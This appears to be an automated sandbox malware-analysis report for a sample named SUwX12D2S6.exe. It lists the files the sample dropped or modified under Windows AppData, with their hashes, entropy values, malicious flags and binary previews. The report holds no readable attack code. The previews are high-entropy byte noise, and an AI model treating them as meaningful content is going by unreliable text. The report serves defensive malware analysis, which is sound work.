C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97866966380495
Encrypted:	false
SSDEEP:	192:6msDvgcP/p2EjbzUHlYwXvfhNBrCaclpo8+WcqStplvu6zcc/sGuI:tmptf8h/UHcFp1Xcc/sQ
MD5:	12C60340779EBA019CD0F85836E6FEFA
SHA1:	F8D7E44AF1661F0F990B6242C595C0C8204197D5
SHA-256:	CFF375B78EB9914E9EA7D76EB74BED50AC86557C7494086D656B8A8E2148EBDA
SHA-512:	DE606F8A907913D2CEADF3FE771F3E59059095CA62E9558BC2F0819A61135373C4B2B90964B17885C90609452813AC3B426504760BA101F0CD801247F2BFB811
Malicious:	false
Preview:	regf.P.}..r......yW.C...p.JM....`...K.P.W..y.a4.S......!p2...1..y.....J..v...t;.Q.u..$.z?.X...8..uxV..aE....W.VDI.......O...F..W,W...W?.[K....F.....F...T..G.T.~u........$.O'~I'..W...=... .H...s.h....\{g.o....9.0B9...I......."..l[,H....G.n....daz..X..;.....NY3..G.,.....#t....d&..QE.,.5.J...~..u.4......`..b.'{~dr.........!..0.u...j...6#.n..1.FW.T..V.,HE.........3l.[..p.%...>I'..x 9...`.&..P...L...Ri..bz-n\|....Z....z.I..A{..,FL\...s.mX.jdZ....6.....]...O.q.I...................=.._}/.u.;..y..d../.5.<f.l....U0\8..S..\|$....3...1n..8%.BKRA{E.L....R..z...-8.bK.q....y........Y^.L.8.........e6i.:.v..#.......R.:.......Q.....g.t2)...._..?r....f.......j{3..X."s.=E)..#u4.P.F...-..........s..0..d'r....<...\...T.I.6.9@..}..Q)iB.O^x.Z}.H.`O.T4 .3...X....^.1.....H,..'.ht.!..h.'zDG.+.;...W'g.K...-..CV..g..3....iH...&<.`~p...K.....A.....?X..<.O... .=;.....U..ewL...jNj.}H.$..'...\.A.^..V.J.\|.W.jU:..cU..2..l.M'....N.(.?E.........^._.J.... ...).......K.z.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974319315921317
Encrypted:	false
SSDEEP:	192:iDm6MbLhAqPFHTW6UHda5eRA0L3IeDfkOynfd:71XhfFHK6UzAEhBynV
MD5:	C5831256A086169C7D42B6539843455B
SHA1:	AE39C5183F03CC4EDB9B4A56F8CE4340FAC25FF2
SHA-256:	0856E8EE964451A6A30849868AD8938FD57B4D69CC890547B191D5E4D76550CE
SHA-512:	EC8B3161B8FF7FAEB5254039280E323453AB8E751CDA324837B77C358F509AF061F9F70DD58A73B5AB7B2385A5E74DE8233628A91DFB12BA563977867C320F6A
Malicious:	false
Preview:	regf..Q....P......P..3..l.M.Q..<...M...]eT.&B...4U.K... .8.1.4..4d.5..)$..p..M%[g........kh.j;.e.X....F..<.:..M5...dTj.C.t.d<.p.g.F.2.UW..e,.-g.Al:#...f]#ue.9GN.m2O..R.3q.?.......1_....T+..o.e.=...D.O5.4.V...VT.....Q.:v._{..U...&\J....].M.<.N._...t..A.{.Q..@-U....GL.v..g.....E.O.s.y....n..f.nN0%+ZM....bG.++R............f.aD...\.s..-.ya.q..,.....<....3:.....G...V.M..U.Z.......9.....H....S..?DN.]U.,2...l_...k...q.c....[rsF.}g<...i..'..P+.[6.71...f......u..!.L...%(..~.U..}fu5..c;..Sd.............S.....Jj._7r......j?...F...bc]H...."...=8.\|..v.pH.;u.J....W%.\w.;...<.P......Oi2O..........".a-.k`..^....V..y..8......Q.....o......kvT...j{Tb....K\....{.Z..h.2Q....u....Vs'....`..JJ.....'k.ze....Q.!.O..V....Y#./v@H............A.R^........j.z6..".c....{.h..j.=.GsJ<._.`O.GS[...M.....xpb.Z...4.....{.g.. .....Y........A.........0..X...]...R.z< .(.9r....\|,@u..._B.....?........1Q..C$e..bX.rx.t)....)..3...i.@...L....??....vK.m....W.i.f".6.H.....g.N.j~:..$W.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979369833330053
Encrypted:	false
SSDEEP:	192:6OAEPHTW5bV+3qyzYHe9k6WMSVAx1fiI2/xxQunjgZC:6OA+Hy5bE3H79vUVA2znjgs
MD5:	F3C2AE0BBB54E27DEA1BCD5F21B9E7FF
SHA1:	E08788DFE64DC6AFA24ED6F3C30C49C4950E899E
SHA-256:	D944BF81F2461841BE1F2B28C22503C89E472BA7F0C13139AB24E79BDC6366DE
SHA-512:	8215155746F795F3275FBA5E2947ED788F7BE984404F32F93F8E221D8F7530DF038D68CE9C570941E39330C82FFFD63E8D20321DCB27E0E32CFA3416FD611884
Malicious:	false
Preview:	regf.K..$y..0.9...Z..-..~..NG......6......r4I..Y.u.v...........-..-9]..U.H...Hlc...M...S4.......E..\.y..}........./mbT.=.F.........UX$?.Y-........IKi.#.k..`a.\. ..p.ir..^F\|.:....\.........w..7...uVN...</wA.f] ._Z1.a.kE.P.c.=(....Sq..'.......~"...^G.9_..6@.R.Gy..k.N.B..Y`4.3.4.MNM.../-d.J...5@.}.=.u}.r.....1..+b.x>.MDA30.(...Mq".$..4.(.....V4.o&..xY...p.6..q.6.X...j7..e...2.@D....F...Ik.I..1.Z..}A..5$.,.s.1...8..0.$$[wdt'.....}'<.6T(.;.(....a......4}.............N...o....St...a.,F\|#......y..4.....h....W.Uo..c.0..D........C..m/.....)$"..).!x.qQ.D........J.W... \...gi4.6.Z.........P...2.\|..f.Ch.J<?..H.'.....^kw.]..Y...S~W..o.+...!s..y.#.Xw.b...&......(.U[<}.-85..A........n.EF>.r$..I.....\.K."..4../.%.O.)5.Z..U.j..w..a7A...E..v}m..C..w.f....?..!.V...#..q...........`\(.&D.=,.zmj..n.....Q...L..f\|9j.Wj...Q\|.....(.l...U./0<.k.%.*r....6...9.S.#MA..$)2..Df.....d}..K........C..d?Q.8..b.q....[4.F..........A...M....S.<J....{rK.A....%...&..6qA../.H;.t.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979287948813915
Encrypted:	false
SSDEEP:	192:5kqwe2+yzrzKDAYgWH7Dr96W+6dJpp9PjNoMu0uQBwn065g:mqV2+0qAjWHZ6W+6fNbNoMug615g
MD5:	41DD6EFA1ECDE8D5C03D195E1D05C2B5
SHA1:	79D9221E8399A2A4CD8495171B3615C41675F58C
SHA-256:	5B1C52FBFE56E85C4CE5E1DB4B480211303D658EACC00413F783E9A8B8CD7070
SHA-512:	3BA9F60B481BACFB1B7CC20E292448481AE7C7AA82D214FE073DEDC956B6BDE40D4822788F2D14F17B10374920A548804A6917DC0946A4FD4B796A2CF93278D8
Malicious:	false
Preview:	regf.....2V.1+.....k.).dQ.{}.A;..^.. ..![..6....0~....J;..D.h;..q..Ll.k0."....,..S.._........o.2A....NQ.c..f2.j.m.<..{.b.gtb#<...........'..z."..y.Zb.%.eW.N...T.W.K...!v.y..]I{.F.md"...0......d..m1e.....=.~Uth...Y. tP....J.3....h_...Y3]?..MR...0..(.....)............].......R.c..Yq....."...M..Zl.._.<.5....A.....0O....k.1..d.N)(.D.c.-.\|..W........(fz"?R..........~b1.u.p1.~..V.@.{....OJx..c...u!&..9D...F8.0....#.%... .2;..9.\<......p..,4..p..<.C..Q.........c.t.B.C.t.... ..N.....{w....X$..t..p0...AQ...g............6..KT....-.G..."...p..3..k..K..x..n.D95...M`..y..p.]..._..s...\.:...58.....q..\|..S9...Y;.?7.....Tjs.5w....w.._m.c`..k.......E..?,.8.+...A..2.Z.>k.J...Th$Ns...&.'..z5...6Y.o..4KY..S......0...`M.5D%....\|1.3.QL.i .;p..l..e.6..[.9...+..~`\|a...@.....a.?../.ti.\...<l+.r\....W.........+.GD.c:F.sE....t-um.m].6k...=..j.^.....;..8d.n'..\|.h.G.,.B.iL7....am.h..t..5_....s......J";Y*7..o....9..&..f........#`.?%......E.HT././.I^..m..k..U=.s..!.....>.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979566017696382
Encrypted:	false
SSDEEP:	192:3AvsyywK2VPdqxtBo1BOeacm7cyraXw4ERyUm8z4XvgS5h1Gf:3AvUwK2y3eXOeax+fER77sfd1Gf
MD5:	78027D98C1AC6CF99C6D130AAF8C9479
SHA1:	DD0A1262F02932D2984DDFA1EBD34AB679F6E3BA
SHA-256:	DDE8B2E3E089DAB525EDBEE0EEBC5B620F83706C1C0AA88FFC2177FB386371AF
SHA-512:	E7F49A762DB4EBDBEF5BC77CAD84F41D09D7E58CF9000CE3878D797DC5786B76BDF8D5E2AC1CB1B797FE4CD3B446FCF87232D1A33C8B27C0D72F29A85329DD72
Malicious:	false
Preview:	regf...~ap._........._0.l>...7.h...8...e.X...b#.).e.$.. }..>z.._fh~rM...8jHd.4K..mX.L.Q=X.s.9...L).....t..+.C......J.f.&..m..5.mq.5e...Sea.V?)..=...=..O..3b-..<..6}{.N@.58..1_>....NV.T..B0-QR...k\|D....x../........qp.......n... .iX...V.......Y..e$.2k...Hk..i.....5..b.W.Y.. G..Ry6;.._\|?q..g.@.k..;..p..7....6!....9(=.C....\|..0b~.,.o..Q..9...o..\O.......d...q............^55..W...d........3..h..'.}f....A...Z.l......,L.<$ap.^.}.G.._.ZO.....1...1...`..~&s...k...PbQ.L.e.R..e.......V....K.f[.1qd.&4_..y...({O....Y$......w......6.UO. -..K....}H..l..".gp./P&s.s.....9..y....T.?....b.......+...M...`K.Dzq.-cM..t.P...=.5...2%.H.....Ij............C....b...Y.0.U.. #Y..^.......n`..+......'..0&...eT[...<2Z...~...-n..ba...V`.Oz,.8..F.'.Q...2..SH...Uo...=.]X.[D......f.h.C.0_.ZNbZ...s...._..D..U..:m.....QED...;5\|../.u.[.6c..-I.2.n2 ..............s.1.8..y....,v..$.......1......'.d{O1.Z...EQ.np...>.w.ysh._..G....V.H..*..-....g....oo2...5&....~.T..m.H..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3303892028333868
Encrypted:	false
SSDEEP:	3072:90agG72umpsTRjBrwe6YKRmyNWQx2xL6MFkunl1qcQfH3yvraJ0aZ/:Kah72QZHKRZNGxcAl1qnB/
MD5:	6AF20655D120B60982A0C46BC05FA4B4
SHA1:	BA69F004B05E9137A68511C8B5C3E20C8AB11C7A
SHA-256:	1CB00C22DB02DDBE92D61839574F8B8A56B03006EE9F7B33B53E2666E8D42435
SHA-512:	2E2518E9C05487F20D26FEE5EFD1E3909130125C97CAA1341CA6D680E444B3641002628563D50494239BCBD608E441ADC7B5D55358967D54EFC3D35D85EE712D
Malicious:	false
Preview:	..4t.7T'....~.........Z....P.M+.....pJ......5r.o..K$v.DAr%.y....r.r......C....o.V..A...s-+..5~.'....ir .S^x%......r.C.Y.T...S.p7x..,c+..?..8......H...<;[.2~>.../.K....4.~&...4.G..qX@X5...-..o/L.....y..!m.!O.6t..3].>AK..u..l...=...A.b...O......#.I.....]..n.....s.Y.\........_n.3.4x..B....,I.............RM.....$g....l........^.sy.........DQ...5..\|..j...._......C<.r.v..G....z.r}.I..p3knO..4..N.`...L....Hv,j..M....gK.\$.....o$.+Pt..0...p@j...#.... Rd.....e+...0......U..d..}.2j....!...;..?.;j......r....u....F.h...i.^....`..isE....@..Fd..j.ra.s.a./@.IO...Lg=h#.&2...-..Yt.."....5.1.t..L.B...h./...j.c..^.5.3..:Y. G"...g...h%XK..6...'..&.j`......egS2.....I....0._.BD.>...h...G..'..`f...dx..[.+......3......d.D..0Np.O7...'LH.A.i.\|i.d.#9.j....2..9y..7...\...CG._...Ke.....ZX/V..gq.}\|]......=.X..k.l.H...`.....IC...E.zz>.0..u.._...%..x.7.B.vx1j...\.Z.......^..8.u.R:*...k.`.".0..U.NC.D..]>&........dt3...."=-e<?..`%.......r..#@.l.R.a.t.9@......]..l..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.98886583665671
Encrypted:	false
SSDEEP:	384:uhEKnqO5Q4UncR8U8u0/cMeEF8zxZZ62c2NFZhXi4Zlv:uLYcRun/cDLtZZ6+NtXi4Tv
MD5:	A9341B891299FC9B79A010D705D224B7
SHA1:	AE3299C3907F6C7185A8A21194C7FDE1540C3C67
SHA-256:	32F186C2680EA8BE8F2D8B9CC745B762A55437F51C72E8214EC342BA9B41DDF4
SHA-512:	CD9C6A9687BCAFF2292F4078233213EF5D6B34CE274E702E764F6CDDEFDFD2ED9283983166480FD6AC6E6FDD5733F4272D04B279F8930A8D5E1B52A3E5AEA8A6
Malicious:	false
Preview:	..}..b.g...!4A.$/........^.....i.R.Q.{.MwT..V)z..K._.....+.G....V.....y.EB{...z.....%A..;.+.S;p...4....&9.tI...qq5il..._....R..;..ls.....n..D.tc.X.`.Y.Fj.....j...JT.....H..)...`;LD.J.....g.A....O.z..z(.K...#.K"p..1.~../.[..u......O....u6.ic&.....v..(.....p....\.8..k...}..-~J.8{n....q.........Da....pUt?...a..n...R.Cm$8r..#L".}..4....:..K.U......-..s...JT...;Kv`).:..).Z.#&..G.$.Q...M..(F.ZR..R.xH.@.}..!..T,w&..."....2a .....G.W.&..e."...+.H_.........Et5.\|/. ..G,n....6`.....aH.u....;n..{S...QV]........d...d].Q^......@.V.yb.J.. .u.p.!..U...Q....Me..+.Y..../]...Sf...l....{g...d.N..~...........6.j[.....m.&...Y.."v.,.PE}.z...s.6f...c......K6.....c.r.....t.g..=.@v...J..6.....l.f....>K.....v8..\..E>......V.......:....U.W._M..<...H.rFZT5....L..*.9k^....t.O.O.u....-...x]_........N"..6%..WZ.}w...3..v&K.C.A)WW......}...h..\|.........}h.X...Rvo..;$&.......'..._.(.c)....6.v.<v.Q.9.x..PPen.{...h...Ku......,`.1..L...d....,{L.O@.{t.75.%..X.\.\..J/u._..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\778a09af-71b3-49bb-83e6-36722d62514f.6dfb6b5d-10db-4868-b4ad-ef207a2dda1b.down_meta

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.888553892767165
Encrypted:	false
SSDEEP:	48:pQn9DzwMHBK2LaX/RiSi9Ut4CNqswIDj4Qb4FD:61wuK/QZUfHwI4g49
MD5:	19C18B2EE2E70C3A26C1805DC93ADD7E
SHA1:	BFE4BA3BD64DD0FF553563701CEC0F7CB3039BAB
SHA-256:	2ACBF32356A3DA86B84E9B5ACF3D275C05F15D51D3FA504CE0E2158D6D55EE2E
SHA-512:	01B2B67463050015D22512C0BF8487C386C5B6AD37C073BE852814ABBAB2596854484FB893EDF8AC9EF3A1E87602473E10338178853C0AA5C1AA6D6509497D07
Malicious:	false
Preview:	h.t.t...[........Q...w....4IJ>...C..P..P....k.z.Y}.........5..G`.G.d....ps..0.h..X.r..S.%..<.=$g...T...`.....>....!.\|b\|.$.jG....F.\|.3..U..2r.=. ..k...J.!..&.E:....N.$......W.."....O....Z.&..'.Q%..\|.........f.=k.Vt3.+.....!2.h..I.G..Ln..b&.s4.........u...W..r..H.{..{..........~.Y{..4...w.eVg....@.3:..3&{.M:..&b....s.,.r~\|.=..t...<P-.......S.....Y....AP.T.-..u!...`.R........^.l.5:...p.g.RV..&..K....~......M..Utl..........s>....D1..l..7.OP.:pI.\|.!]..".B\.i..>D8]...>.l:.!T..'...Z..[.'>..sCl....[...j..$...M.!@..]uI&S.....E-.4.@.j._9;...+X+Q1J...`5.......W.WV.a..V..b....%.a1.......h......_.j\:.<4.......a..G>`]....E.<..........p~."%.=.....iW*O.n...[.....j.......)..~:ri)).b...../..t.....\|..I....N.%n.p........F>....i....z..;..>.)..;.......@..@k=.W.....-...a.l...mv;.k.S "C.-...dMO..u.!ub..9......R...P&8\|@...."..@..v.....'...])1..5.&..=..'.1..!SaI<.=..6.8.T.....8..b..\|..........?...f....5.!q...s}.ip........H7t..._W...Y.Y%..I.&...K...@

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\778a09af-71b3-49bb-83e6-36722d62514f.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	7.792750279348126
Encrypted:	false
SSDEEP:	24:XPhGLH3sXECnI8k43QCj0XbShrkLSU2O/+ikfZF1X5vysCVbD:Uzs0sj8LSMSUF/VkfZX5kFD
MD5:	67B726A2DBB2665C084B47B7DF3A0CDF
SHA1:	E712CEC32832FFBF790FEF51321B0A5D34C52350
SHA-256:	926A4FD5F4DCAF00A37917341C6F5CF66BDC5DE0EE3FFEBEF4634074DC5D1FFD
SHA-512:	56BB0B832EFB09A152281141154C85D8738F33A93FA85DA0C08AB3B06A27FD37DE177230F551F47404EFC7A6335067D53D109A61525D620F2DDC7AF7E03A8F0D
Malicious:	false
Preview:	.....)a.)^..eq..\|.x%.........'}.a.....!.....k..).......@).^M.2K..9..........6..b..@..U..4.......p.[...7g.q..=.Mx.....p..&....9Q..:.}!.4. .M]`F.5O.(y.y.....I.'...8X...1=.....^..(.a.\q.....G.....&A....._.)Wk..O.Yq..:NZS5`..G+B-...%&.i..D.$(j#....c......h.7....N.....3.....j0..E...FK...i.y..9...Kn.J$m.]{3.\Ho......._^h>....T.{d...C."U,]...'#.....W..y.....p.r......,k..u..........pA......fO.....:...? ..O.k..+....Z.,4.1..X......q....E0{..i..x..j.e.....".O..]G....;..........;)..........^3..w..C.y......./.~.....9.....,. .......!.... ....p.D.u..0A..z.u.f!..=#.OO.:..f4.Q #.y.S.......w:k......A...9.l..4.AYt..2...<.$...I.fR...Ar..._.0.K!..Xg.].8.....~,.k.......Y.n...e(;.R...`.z....;..B&o..Mw/.).......#...W..Ci.....D..0Sx.......h...`.7...~;..Ne.$-EAO+......'.2.n-+..H1$.r.E...F.l......3ho5_.x?...G.d?..F.u..<p..4?.B........F...?M....#.)T[......g]c>-.8..6.....I..q..<..,f#.nz.uh~.I..e.T~X......I.i.2.....:c......$.X.....@......N.,...!....Y..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\TokenBroker\Cache\e71e1300703d5395820e448840a760f0dd25ad50.tbres

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3084
Entropy (8bit):	7.934237077906417
Encrypted:	false
SSDEEP:	48:VvbNLOibwQmCJfcWjH4Vn/UXeJH+ZWf9MtVB8v6zjxpqSY7HqdslVctHmbJatqLk:tbFOibwQNCzHJH+ZWYBT7YisktaSqc9
MD5:	0AE6B33BA3387E14D24B5222780A6E57
SHA1:	E5BDCF87BAC4FA1079B9BAD788F4E7DC5A183351
SHA-256:	413813A90CE8937F5F0BDD33A19C2D84B0C7626FA47CD87BBFD5E7ED10938B78
SHA-512:	4D2167BD9D682CF6A14A8859A36A6ED4B162A1BB7D1E270E246064B69B13DB7FC97947026EF3FD2E1E64FEC017ADFCDD43990BD8FEDD462CF5E1AA5EAD052AB5
Malicious:	false
Preview:	{.".T=...............p..J..qM.;.o..........3..u.^..klO.-.W...3......Co.a..{..&:...(!...G.~\|.a.t5n2.!....U5?.I.md....\.\y.>E..5....kD.^..4[...G>j._.....FQ....yf..9....T0mvB.h..`.N.\.?.=.g.H.8.Og.b.3...C...D.1..P...DM.K.)k^..m.3BKY.S.5..TE..)........D.....#..<..=.Y...Nk..Z......Y\|........@@....C..?../..(+....DS..!l~.8K....2v.A.E.p.:...W......-96..27&..`...d.......nD.&MyORl...\|;3'.l..^>.....5....!.x.tu..H.j....2q..YlBI....<.$.....n.....51.cU.b....T.9R.p...D{T!.r.\|.. 3<..[..u.....]Cx......@.a~\N...S.u9, .....[.<(..M.....)..0.jRO...:H._...p.(.1.P.......R....Zu....ZC.4w%....PI[9.cs....j......[.=....4..>K..m.....c..#W...]..d.".. ..6.~.w..i......P...c..WM..P5..r...d.)...A.g.h..3q.......^[.U.9h.-....E..&...#..1...L@...+.vS.......5ks.....OI.F..8..-.{L..z1Ps....L....U.l.-.W..b.l.?a.t...v...Ww,wlQ..`+a!z....:.m.D;.......<..&....) :...h.#Y<..c......" ..R...Z..Gf.{k5.....:...z.!..^....3....j.5.=.Mi./.4..%....P.3N./../..?bD../.<..s!..o.)O....6.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\BHVNCPHL\25\-U2ww19iycr3M_DiD25JdVUDdqk.br[1].js

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	91794
Entropy (8bit):	7.9977266083041085
Encrypted:	true
SSDEEP:	1536:04/TapRIsZGa8ZNphcu+/qf8HJGmzmguzmMC+SiRwVu5nMFAkHYYKjVDrUdwQ:00oisT8XphcH/IhcmtSowVeOAkHTKdg
MD5:	DE199C8C4D4A4D4FBEE8D7C671AA2ACB
SHA1:	5A5100582D595F14234E0027D54BCC5DAC7C00DC
SHA-256:	3488A009673BBAE88D9FA8A0FA997B6989E46A5D7F7318AB36CAF145EFE3CD39
SHA-512:	B148F88934C7DF4FA3A0713AAFBC0DD85E4A1E681A5A0A019AA49339BA8DCAB2F90E280E48FCB3759EFE9F685F613FD59A64F899BF1BCAEB3EE5B0C11B4AAE9F
Malicious:	true
Preview:	var Wq...S./v#..%.....h..........h._...9,...\|..0....j.c....]..;...3.rr.....h."...f?....Y..#[O^... [O.Y=3.0.<f..c...r...v.3J........K..k(...8L.."p...Z/c/b.[...V..k.O1&;.O.9..3<.).........\...Ip.<.;....b...e.{D;.l/.b.R...P.q...2Z..%....#..CbH.?7[..X. ..._.F.I."1.....`..s.\.y....;..;.Q+h./.... 2./e..mVLPa.o#K.P.QP..k....<...zSh]LnaoT.:6.)P..:..dI...@..j.]G.....qpb.O8...q.q.'q..;...S`.K......7.)<...i. 6@..bJy..x.3k\%7.....K.7!ms\u..l...Y...q5...z..bi'_.`.....(.~q.....E...uj#......2.l..c...X.3%I.....D.6..R.P.M.1Un.z\|'!U.. ...u9%O.k.:~?i\|...N.x~X)...::...)..2.H..k....)X.?Waj.T2..P~&.T{....1.Q0.D}...mU..'.o...j.v..c..(.;.`.j./.$ZH_..}...T.....8z....t...4z...T...A.f.....J..).....M....A...CD..f...#..5.`.......BN.:..}.iz..}..),.Quw.j...B.....Dv..(U.GXw......A.F..P..m!..T..wjA7..>..o.@..C...?1..p,#.C.....f..4.Q.<.u......q.Z.D-%G...>o..(.w..5W.t:........'..6b...s.K_...j..8*.P..z.T...w..{U.d.jMs...(.i..U%...H..qEP...,o8a_na...'..../..h .^..1....ss.Bt>j..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\95d9a2a97a42f02325559b453ba7f8fe839baa18.tbres

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.948281273031803
Encrypted:	false
SSDEEP:	48:bQtwRMABXN1gah8qyumRLt5NDFiwIUjAsFXnBdiVdo/YhhAfPaRw4QJcFD:/OABXN1Oq675JFiwIsZBkr4qRwU9
MD5:	A4187EC0069515603CCDE374FCAF28DA
SHA1:	7AB80E1B41ECD3BC52A6DA48EBCFF11E0039AFEE
SHA-256:	A634EF2AD55DFE25B46D8A9A4A4B903B4987474984BE90C05F32D6A311F9DAED
SHA-512:	9D7C6DB1A946FED44C9F3A3B04497DED3047732D2039174129FE88D72B3DDE0AEE9D61834E5B92750B69E1C12A419FC654792E57DDC48E5462F9468943F7DEFF
Malicious:	false
Preview:	{.".T.9.2......v.k.Da.zM..V.m.../..J$.q.J.;.Ukr!u.$.c..........C.......{,m.......\.e8..B.J.....s.X...d...0Yi...g+v.......(.;.#..bX.../....g...N.nb....V.M)....b..n..4.:J..Dc.W.n+K.1c4Jj..Y...`.f.%..,...6S.Vd..........N.=^=../..p ...).iO....t...9f..V...#P_Q.........jA...[...\|.....&o..H..o.e`.J.Dw....g...t.G.=........%.{N.\..../K.......7.Uk...Q....V.-..".AE.i-Mg...X.?..0.e...l.z.%.....6l.)....O...../.f.d2.fk.........xz10.iC#....#.y#-...3LN.q..I..0P..........2....JN.i..3..R.....].po.\..u.q=.S....Q".....c.._..E......Wt.}..3fUB..Q..r&8...qN.3....4C.&.a.R._l.%f.).x=B...a...Bc@...t#cK6V\....J..;....g..1...;...Q.r.P[.e...{Gx.d.t..8.....S..j5KQ\..,...K..>....A.....tT...m.S..h............>.@.3..wK..;].......=/...s.~.E.j.LL^....#...-h....'..%...C.:i.0'...[...%r.E.b...:......0.y..3...>;R....... 3^i...{%."..wf<.`u...&a%E.W....l;..=.A-.aBP\ .d..X.#wk....\|v.q&yvW.dy?)hh%.U~;.....D.....&.YK..%X...wp^....t}..$ ....<3...\.2D..?vYR;...F..nuY"..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\fbaf94e759052658216786bfbabcdced1b67a5c2.tbres

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.9281193707172015
Encrypted:	false
SSDEEP:	48:GztViwQn09eOHMaHMLQb0JvOYjOCyc3ZGd8t3d168XUwY2UfK4FD:Gzbi909eO6xYuoc3N168XfdUS49
MD5:	B6D021D0E6EADBA6462004FC6BCFBC54
SHA1:	8E6A125BB308786E0B177FA8C78EEBE390740B0F
SHA-256:	D81BE76C03F8F27FE5E5BCAB839D7C797D9A1FB12BA57A1C9D95D2A5FF2A0F04
SHA-512:	196B92F09D99EACC1943C8A7D356582D50EA17E9D791AEB7303A23D7A6E2FEDB586507ACF69B2130533C0996CFE978B0ED6278E501F8B1934EAE08E61EBE74EB
Malicious:	false
Preview:	{.".T.W'#......#.o.E...d.....M.7...6......@H3!p:D..#q..$........D.._..A.s.o..06.W..%.)K..q.ZW I{........ .K.o.~....G-....b....a..W..8....S.....P....B..$E#.. .O.;.fNwva.r4v.$.a.r.....d..[T.......V..>....zo".V.&...-...v..;-...@AO.......0....../-.L.....,u.N...~.z..B1.dUic.....p.y7EJ.......:.1\..._s...5...RFS.>Dr6)..P..KQ.yyg{..o......Ol#:G.j.K....s.16...0.....:/} .k5../.G........r$...t..Wn...=...v.G.#......\.&;I..V..9.8..r_A.g...P8....Y...........j..j.....;.....:...)...'.$I.j.....^....h._..a..=rd......<Z.g.'..KA....'.C%....N.?0+....).+.d.....L:.S...^.=..n..pq.at0.a.F1P(.8_iv.WiK.H.}.....=..G3D..:\|..,90o2I6!.eK..;5O.m3....QC.o.5-.s.E....*x\|....+.< ...N.;&....K.......J......zw.B.;w.f..7.E..wTC...g..N."/...@....U......o....7..b..7...xO.. .....~.(..y-........3$..F..T...iQE.jb~?.=!..=........kk.+..j...9Y.....&7....=.v....~.........U.1...O.%m.zk..T.>4.....@.XX>.E.'.Eu%..l...H.7P$.<.u......0..F9.4.....3........`.L..E.w.....k.Zu.........tjv[P'K....t.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3190875219936127
Encrypted:	false
SSDEEP:	3072:dYkS/pEjtxZUvxMa4tTwISWt/2O6z4KVBmVyBZ4z3c5fAUGESCFC17AcBej8baPU:2kYSJl6Wt/x+rVBmVyb4zhURS4T0ky
MD5:	CFEDC05EE39202BF89685406FB7C9968
SHA1:	3D155AF0EAFEA81C7B73566EF285C5302FDF4689
SHA-256:	3D6D0B5694556259B8E5B63C63B93D0F3EEEE188D360089D94018788B806693A
SHA-512:	1BD504B7375B91A831EDE11E4FA2C22F31122D6624524E6D7A3909934AFBC5E64709BD62D388405EF57F3093287B6BBED1FCF825508106C7EA809841EB31A24A
Malicious:	false
